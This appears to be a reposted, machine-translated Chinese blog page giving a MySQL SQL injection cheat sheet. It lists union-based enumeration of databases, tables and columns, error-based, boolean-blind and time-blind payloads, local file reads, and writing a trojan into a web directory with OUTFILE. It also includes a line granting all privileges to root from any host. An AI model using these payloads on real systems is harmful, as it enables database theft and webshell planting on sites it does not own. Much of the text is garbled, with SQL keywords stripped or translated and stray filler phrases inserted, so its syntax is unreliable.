mysql outfile 到本地 MySQL注入总结

 2024-02-12 04:01:32  阅读 0

0x00 mysql通用注入() 1.注释字符

/*

--

2. 过滤空间注入

使用 /**/ 或 () 或 + 代替空格

= 换页,新页面

%09 = 制表符

%0d=

%0a = 换行,新行

3.多种数据显示

()

()

()

4.相关功能

() 系统用户名

user() 用户名

当前用户名

()连接数据库的用户名

() 数据库名称

()MYSQL数据库版本

()MYSQL函数读取本地文件

@@读取数据库路径

@@MYSQL安装路径

@@操作系统2003

将 *.* 上的所有内容授予 'root'@'%' BY '' WITH GRANT ;

5.mysql通用注入语句

猜猜字段数量

按 n/* 排序

查看mysql基本信息

和 1=2 联合 1,2,3,(char(32,58,32),0x7c,user(),(),()),5,6,7/*

查询数据库

和 1=2 并集 1,,3,4 来自 。 限制 1,1/*

和 1=2 并集 1,(),3,4 来自 ./*

查询表名

和 1=2 并集 1,2,3,4,,5 来自 。 其中=数据库限制的十六进制编码1,1/*

和 1=2 并集 1,2,3,4,(),5 来自 。 其中=数据库的十六进制编码/*

查询字段

和 1=2 并集 1,2,3,4,,5,6,7 来自 。 其中=表名的十六进制编码和=数据库限制的十六进制编码1,1/*

和 1=2 并集 1,2,3,4,(),5,6,7 来自 。 其中=表名的十六进制编码和=数据库的十六进制编码/*

查询数据

和 1=2 联合 1,2,3,字段 1,5,字段 2,7,8 来自.table/*

判断是否有读写权限

和 (count(*) from mysql.user)>0/*

和 (count() from mysql.user)>0/*

本地到本地物流公司_本地到云端网络不通_mysql outfile 到本地

6.mysql读写文件

先决条件:

读取:需要文件权限

写法:1.绝对路径2.使用union 3.可以使用''

- - - - - - - - - - - - -读 - - - - - - - - - - -

.x读取方法

表a(cmd文本);

将数据'c:\\xxx\\xxx\\xxx.txt'加载到表a中;

*来自一个;

.x读取方法

除了上面的方法之外,还可以使用()

表a(cmd文本);

进入 a(cmd) (('c:\\ddd\\ddd\\ddd.txt'));

*来自一个;

.x读取方法

以上两种情况都是可以的

读取文件提示:

(字符(32,26,56,66))

(6E69)

- - - - - - 写 - - - - - - - - - - - - -

写入文件

union 1,2,3,char(这里写上你转换成十进制或十六进制的木马代码),5,6,7,8,9,10,7到'd:\web\. php'/*

mysql outfile 到本地_本地到本地物流公司_本地到云端网络不通

将 1,2,3,('d:\web\.jpg'),5,6,7,8,9,10,7 合并为 'd:\web\.php'/*

0x01 mysql通用注入(,)

MySQL一般请求不支持多语句执行,但可以。

注入较多时使用错误注入!

1、如果能直接插入,管理员就可以直接使用!

进入 user(,) ('xxxx','xxxx'),('dddd','dddd')/* ');

2. 如果可以插入一些数据,则该数据将显示在网页上。 我们可以将xxs和csrf结合起来得到或者

注入与上面相同

0x02 mysql错误注入1. and( 1 from( count(*),(( (()) from . limit 0,1),floor(rand(0)*2))x from . group by x)a) 1=1

在语句处填写一般性句子,如: (0x7e,0x27,,0x27,0x7e) FROM 。 限制 0,1

2. and+1=(+*+from+(+((语句),1),((语句),1))+as+x)--

3. 设置主机='#39; 其中 id =1 aNd ( 1 FROM ( count(*),(floor(rand(0)*2),(((()),1,62)))a from .group by a)b);

4. 进入 (host) (( (1) from mysql.user where 1=1 aNd ( 1 FROM ( count(*),(floor(rand(0)*2),((( (语句)),1, 62)))a 来自 . 由 a)b))) 组成的组;

0x03 MySQL通用盲注使用ascii

AND ascii((( 来自 id=1 的用户),1,1))=49

使用正则表达式

和 1=( 1 FROM .WHERE ="" AND '^[an]' LIMIT 0,1)

0x04 mysql时间盲注1170 union if((,1,1)=char(11),(,('msg','by 5')),null) from ( () as ) as tbl

UNION IF((,1,1)='a',(,SHA1(1)),0) 用户,来自 mysql.user WHERE User = 'root'

0x05 其他mysql注入技巧稍后更新

0x06 mysql 数据库版本功能 1..0 或更高版本。 图书馆出现

2、.1之后,将udf导入到xx\lib\\目录下

3..x稍后执行命令

标签: 注入 语句 读取

如本站内容信息有侵犯到您的权益请联系我们删除,谢谢!!


Copyright © 2020 All Rights Reserved 京ICP5741267-1号 统计代码